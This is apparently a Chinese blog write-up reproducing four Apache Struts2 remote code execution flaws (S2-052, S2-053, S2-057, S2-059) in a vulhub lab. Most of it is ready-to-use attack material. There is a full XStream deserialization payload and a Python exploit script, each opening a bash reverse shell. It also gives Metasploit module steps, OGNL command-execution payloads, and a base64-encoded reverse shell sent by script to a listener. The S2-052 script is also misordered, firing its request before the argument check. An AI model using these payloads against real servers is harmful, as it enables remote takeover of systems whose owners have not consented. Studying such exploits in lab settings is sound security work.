vuhub靶场struts2漏洞复现(四)

0x01、S2-052 远程代码执行漏洞

原理

Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:

扩展名 Content-Type 解析方法
xml application/xml xstream
json application/json jsonlib或jackson(可选)
xhtml application/xhtml+xml
application/x-www-form-urlencoded
multipart/form-data

jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:

1
2
3
<classname></classname>
//或者
<paramname class="classname"></paramname>

所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。

影响版本

Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

漏洞复现

打开终端,使用NetCat监听本地端口8001

1
nc -l -p 8001

将下列payload修改后粘贴到burp中,发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
POST /orders HTTP/1.1
Host: your-ip:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml
Content-Length: 2468
Cookie: JSESSIONID=A82EAA2857Aq1FFAF61FF24A1FBB4A3C7
Connection: close
Upgrade-Insecure-Requests: 1

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator" />
<next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i &gt;&amp; /dev/tcp/xxx.xxx.xxx.xxx/8001 0&gt;&amp;1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types />
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock />
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream" />
<ibuffer />
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors />
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString" />
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString" />
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString" />
</entry>
</map>

监听段就会得到shell

也可用下列python脚本实现攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python3
# coding=utf-8
# Struts CVE-2017-9805 Exploit
import requests
import sys

def exploration(ip, port):

exploit = '''
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i &gt;&amp; /dev/tcp/'''+ ip +'''/'''+ port +''' 0&gt;&amp;1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
'''


url = "http://127.0.0.1/struts2-rest-showcase/orders/3/edit"

headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
'Content-Type': 'application/xml'}

request = requests.post(url, data=exploit, headers=headers)

if len(sys.argv) < 3:
print ('CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE')
print ('[*] Use: python exploit.py <attacker ip> <attacker port>')
print ('[*] Example: python exploit.py 10.30.178.227 8001')
exit(0)
else:
exploration(sys.argv[1], sys.argv[2])

使用

1
2
3
nc -l -p 8001
# Use: python exploit.py <attacker ip> <attacker port>
python exploit.py 10.30.178.227 8001

也可使用msf进行操作

struts2_rest_xstream.rb

下载脚本放到 /usr/share/metasploit-framework/modules/exploits/multi/http/struts2_052.rb 目录下

使用search命令可能搜索不出来

直接使用

1
use exploit/multi/http/struts2_052

设置相应的参数并执行

默认的payload是: linux/x64/meterpreter_reverse_https ,也可以使用其他的payload

脚本地址:https://github.com/Vancir/s2-052-reproducing

0x02、S2-053 远程代码执行漏洞

原理

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

影响版本

Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10

复现过程

1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

上述Payload末尾的换行不能掉

0x03、S2-057 远程代码执行漏洞

原理

当Struts2的配置满足以下条件时:

  • alwaysSelectFullNamespace值为true
  • action元素未设置namespace属性,或使用了通配符

namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。

影响版本

小于等于 Struts 2.3.34 与 Struts 2.5.16

复现过程

访问http://your-ip:8080/showcase/

测试OGNL表达式${233*233}

http://192.168.184.128:8080/showcase/%24%7b%32%33%33%2a%32%33%33%7d/actionChain1.action

1
2
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

0x04、S2-059 远程代码执行漏洞

原理

Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码

影响版本

Struts 2.0.0 - Struts 2.5.20

复现过程

访问 http://your-ip:8080/?id=%25%7B233*233%7D
可以发现233*233的结果被解析到了id属性中

反弹shell

先确定反弹shell的内容

1
bash -i >& /dev/tcp/192.168.184.128/6666 0>&1

经过base64编码后构造poc

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4NC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = "http://192.168.184.128:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4NC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

开始监听

1
nc -lvvp 6666

执行poc

1
python s2-059.py
文章目录
  1. 1. 0x01、S2-052 远程代码执行漏洞
  2. 2. 0x02、S2-053 远程代码执行漏洞
  3. 3. 0x03、S2-057 远程代码执行漏洞
  4. 4. 0x04、S2-059 远程代码执行漏洞
|